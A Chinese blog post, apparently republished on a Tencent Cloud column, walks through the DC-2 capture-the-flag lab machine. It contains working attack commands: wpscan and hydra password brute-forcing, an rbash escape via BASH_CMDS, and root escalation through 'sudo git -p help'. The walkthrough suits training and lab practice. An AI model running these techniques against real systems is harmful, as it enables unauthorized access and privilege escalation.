前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DC-2靶机渗透实操全过程,一起来玩吧!

DC-2靶机渗透实操全过程,一起来玩吧!

作者头像
网络安全自修室
发布2020-07-22 16:48:07
9620
发布2020-07-22 16:48:07
举报

靶机介绍

这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址:http://www.five86.com/dc-2.html

信息搜集

直接上nmap进行扫描

nmap -sV -A 172.16.0.12

代码语言:javascript
复制
Nmap scan report for localhost (172.16.0.12)
Host is up (0.0011s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:B7:BA:FE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.07 ms localhost (172.16.0.12)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.58 seconds

发现开了80端口却无法访问,是重定向到dc-2域名,可改hosts文件访问,添加ip对应域名

win10路径:C:\Windows\System32\drivers\etc\hosts

linux路径:etc/hosts

渗透实战

  1. 查看页面为wordpress的cms且页面有flag提示
  • 用cewl来做字典
  • 且登录进去才有可以拿到下一个flag
  1. 果断用wpscan列出用户

wpscan --url http://dc-2 -e u

代码语言:javascript
复制
admin
tom
jerry
  1. 用cewl生成字典

cewl http://dc-2 -w passwds.txt

  1. 用wpscan进行用户爆破

wpscan --url http://dc-2 -U users.txt -P passwds.tx

代码语言:javascript
复制
[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient
  1. 通过jerry用户登录后台发现flag2,提示走别的切入点
  1. 再扫描一下端口发现7744 ssh服务

nmap -sV -p- dc-2

代码语言:javascript
复制
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 20:36 CST
Nmap scan report for dc-2 (172.16.0.12)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:B7:BA:FE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds
  1. 尝试hydra爆破ssh

hydra -L users.txt -P passwds.txt dc-2 -s 7744 ssh -vV

代码语言:javascript
复制
[7744][ssh] host: dc-2   login: tom   password: parturient
  • 登录ssh

ssh tom@dc-2 -p 7744

代码语言:javascript
复制
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
  • 发现是一个受限的bash,直接rbash绕过获取到flag3.txt内容
代码语言:javascript
复制
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 赋值给a
$ export PATH=$PATH:/bin/ # 导入环境变量
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt  usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
  • 提示su切换jerry,使用之前后台爆破出来的密码成功登录
代码语言:javascript
复制
jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
  • 提示最终的home,应该是要提权了,且是利用git

find / -perm -u=s -type f 2>/dev/null 发现没有find和git命令,通过sudo查看发现jerry用户无需root密码可以执行git sudo -l

代码语言:javascript
复制
jerry@DC-2:/home$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git
  1. git提权
代码语言:javascript
复制
sudo git -p help # -p强制进入交互模式
!/bin/sh
  • 直接root权限获取最终finalflag
代码语言:javascript
复制
ls
final-flag.txt
# cat final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶机介绍
  • 信息搜集
  • 渗透实战
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档